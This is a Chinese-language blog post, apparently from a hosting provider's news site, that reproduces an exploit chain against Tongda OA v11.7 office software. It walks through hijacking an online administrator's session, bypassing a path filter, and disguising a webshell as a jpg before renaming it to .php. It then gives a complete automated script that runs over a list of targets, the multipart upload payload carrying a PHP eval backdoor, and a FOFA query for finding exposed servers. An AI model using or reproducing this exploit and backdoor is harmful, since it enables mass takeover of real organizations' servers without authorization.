您好,登錄后才能下訂單哦!
怎么實現通達OA v11.7 在線用戶登錄漏洞復現,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
一個類似于越權的漏洞,但是利用的方式確實比較特殊
http://x.x.x.x/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
可以看到我們已經獲取到了phpsession,這個時候我們就可以訪問他的后臺頁面了,但是如果頁面顯示RELOGIN說明存在漏洞但是管理員現在不在線,所以需要等他在線。
http://x.x.x.x/general/
這里需要注意:我們要添加一個路徑為系統目錄后面跟上webroot,但是webroot會被過濾,但是他沒有檢查大小寫,所以我們改為Webroot就可以輕松繞過。
這里唯一需要注意的是我們需要將發布范圍里添加一個系統管理員,這樣子才可以,路徑的話呢還是webroot那個路徑。
然后我們添加一個文件,也就是我們的shell
這里需要注意的是,我們需要將我們的木馬改為jpg后綴的,要不路徑無法查看。
這個時候記住這個文件名稱,這個路徑是固定的就是file_folder/2013下面就是我們的木馬。
回到我們之前的上傳頁面,然后點擊編輯。
鼠標放到我們木馬上面,然后點擊重命名。
我們會打開一個新的tab頁面,我們使用火狐進行抓包:
先隨便改個名字,點擊保存,然后會攔截到一個post封包。
數據包格式大概是這個樣子:
NEW_FILE_NAME=166&CONTENT_ID=118&FILE_SORT=2&ATTACHMENT_ID=2925%402103_1578257970&ATTACHMENT_NAME_POSTFIX=jpg&ATTACHMENT_NAME=2.jpg&FIRST_ATTACHMENT_NAME=2&FILE_NAME_OLD=2.jpg
這個時候我們就需要修改ATTACHMENT_NAME_POSTFIX屬性為php.(注意后面有個.)
然后重放這個數據包,就可以看到修改成功。
可以看到我們修改成功。
然后找到之前的文件名,然后將我們上傳的原始的文件名(2.jpg)改為(166.php),這個是根據你上傳的路徑以及改的名稱來定的,然后路徑的話呢還是file_folder/2013,我們就可以訪問到我們的馬子了。
腳本代碼:
#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 #define yinhao = " #define Rootre = <td nowrap class="TableData">(.*?)</td> #define contentidre = "TableLine1" index="(.*?)" > #define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?)," #define shellpathre = alt="(.*?)" node-image-tips function GetCookie(url){ res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"); if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){ return ""; } PHPSESSID = GettextMiddle(res[1],"PHPSESSID=",";"); return PHPSESSID; } function JudgeOK(url,Cookie){ res = HttpGet(url."/general/",Cookie); if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){ return "0"; }else{ return "1"; } } function GetRoot(content){ list = StrRe(content,Rootre); num = GetArrayNum(list); num = num/2; i = 0; while(i<num){ if(StrFindStr(list[ToInt(i*2+1)],":\",0) != "-1"){ return list[ToInt(i*2+1)]; } i = i+1; } return ""; } function GetWebRoot(url,Cookie){ res = HttpGet(url."/general/system/reg_view/",Cookie); return GetRoot(res[0]); } function AddPath(url,Root,Cookie){ return HttpPost(url."/general/system/attachment/position/add.php","POS_ID=166&POS_NAME=166&POS_PATH=".URLEncode(Root."\WebRoot")."&IS_ACTIVE=on",Cookie); } function AddImgPath(url,Root,Cookie){ return HttpPost(url."/general/system/picture/new/submit.php","TO_ID=&TO_NAME=&PRIV_ID=&PRIV_NAME=&COPY_TO_ID=admin%2C&COPY_TO_NAME=%CF%B5%CD%B3%B9%DC%C0%ED%D4%B1%2C&PIC_NAME=test&PIC_PATH=".URLEncode(Root."\webRoot")."&ROW_PIC=5&ROW_PIC_NUM=7",Cookie); } function PushImg(url,Content,Cookie){ return HttpPost(url."/general/file_folder/new/submit.php",Content,Cookie.StrRN()."Content-Type: multipart/form-data; boundary=---------------------------33072116513621237124579432636"); } function GetPICID(url,Cookie){ res = HttpGet(url."/general/picture/tree.php?CUR_DIR=&PIC_ID=&_=1615284234507",Cookie); return GettextMiddle(res[0],"&PIC_ID=",yinhao); } function GetImg(url,Root,Cookie){ res = HttpGet(url."/general/picture/picture_view.php?SUB_DIR=2103&PIC_ID=".GetPICID(url,Cookie)."&CUR_DIR=".URLEncode(StrReplace(Root,"\\","/"))."%2Fwebroot%2Ffile_folder%2F2103",Cookie); list = StrRe(res[0],shellpathre); num = GetArrayNum(list); num = num/2; i = 0; while(i<num){ if(StrFindStr(list[ToInt(i*2+1)],"1.jpg",0) != "-1"){ return list[ToInt(i*2+1)]; } i = i+1; } return ""; } function ChangeImgName(url,CONTENT,ATTACHMENT,Cookie){ return HttpPost(url."/general/file_folder/rename_submit.php","NEW_FILE_NAME=166&CONTENT_ID=".CONTENT."&FILE_SORT=2&ATTACHMENT_ID=".URLEncode(ATTACHMENT)."&ATTACHMENT_NAME_POSTFIX=php.&ATTACHMENT_NAME=1.jpg&FIRST_ATTACHMENT_NAME=1&FILE_NAME_OLD=1.jpg",Cookie); } function GetCONTENTID(url,Cookie){ res = HttpGet(url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0",Cookie); list = StrRe(res[0],contentidre); if(GetArrayNum(list) >= 2){ return list[1]; } return ""; } function GetATTACHMENTID(url,CONTENTID,Cookie){ res = HttpGet(url."/general/file_folder/edit.php?FILE_SORT=2&SORT_ID=0&CONTENT_ID=".CONTENTID."&start=0",Cookie.StrRN()."Referer: ".url."/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0"); list = StrRe(res[0],attachmentidre); if(GetArrayNum(list) >= 2){ return list[1]; } return ""; } function GetShell(url){ PHPSESSID = GetCookie(url); if(PHPSESSID == ""){ return ""; } Cookie = "Cookie: PHPSESSID=".PHPSESSID.";".StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"; if(JudgeOK(url,Cookie)=="1"){ WebRoot = GetWebRoot(url,Cookie); AddPath(url,WebRoot,Cookie); AddImgPath(url,WebRoot,Cookie); ShellPost = ReadFile("script\綜合漏洞\OAShell.txt"); PushImg(url,ShellPost,Cookie); path = GetImg(url,WebRoot,Cookie); CONTENTID = GetCONTENTID(url,Cookie); ATTACHMENTID=GetATTACHMENTID(url,CONTENTID,Cookie); ChangeImgName(url,CONTENTID,ATTACHMENTID,Cookie); realshellpath = url."/file_folder/2103/".StrReplace(path,"1.jpg","166.php"); print("Shell路徑:",realshellpath,"密碼:test"); }else{ return ""; } } function main(args){ print("請輸入要要檢測的列表文件:"); list = StrSplit(ReadFile(input()),StrRN()); i = 0; num = GetArrayNum(list); while(i < num){ url=list[ToInt(i)]; print("當前檢測的連接:".url); GetShell(url); i=i+1; } print("檢測完畢"); }
OAShell.txt:
-----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="SUBJECT" 166.jpg -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="CONTENT_NO" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="TD_HTML_EDITOR_CONTENT" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="KEYWORD" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="NEW_NAME" D??¨??μμ -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="NEW_TYPE" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_1"; filename="" Content-Type: application/octet-stream -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACH_NAME" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACH_DIR" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="DISK_ID" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_1000"; filename="" Content-Type: application/octet-stream -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_DESC" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="CONTENT_ID" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="OP" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="PD" 1 -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="SORT_ID" 0 -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_ID_OLD" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_NAME_OLD" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="FILE_SORT" 2 -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="USE_CAPACITY" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="USE_CAPACITY_SIZE" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="SHARE_USER" -----------------------------33072116513621237124579432636 Content-Disposition: form-data; name="ATTACHMENT_0"; filename="1.jpg" Content-Type: image/jpeg <?php @eval($_POST['test']); ?> -----------------------------33072116513621237124579432636--
放一張例子截圖:
附一個fofa語句:
app="TDXK-通達OA"
關于怎么實現通達OA v11.7 在線用戶登錄漏洞復現問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。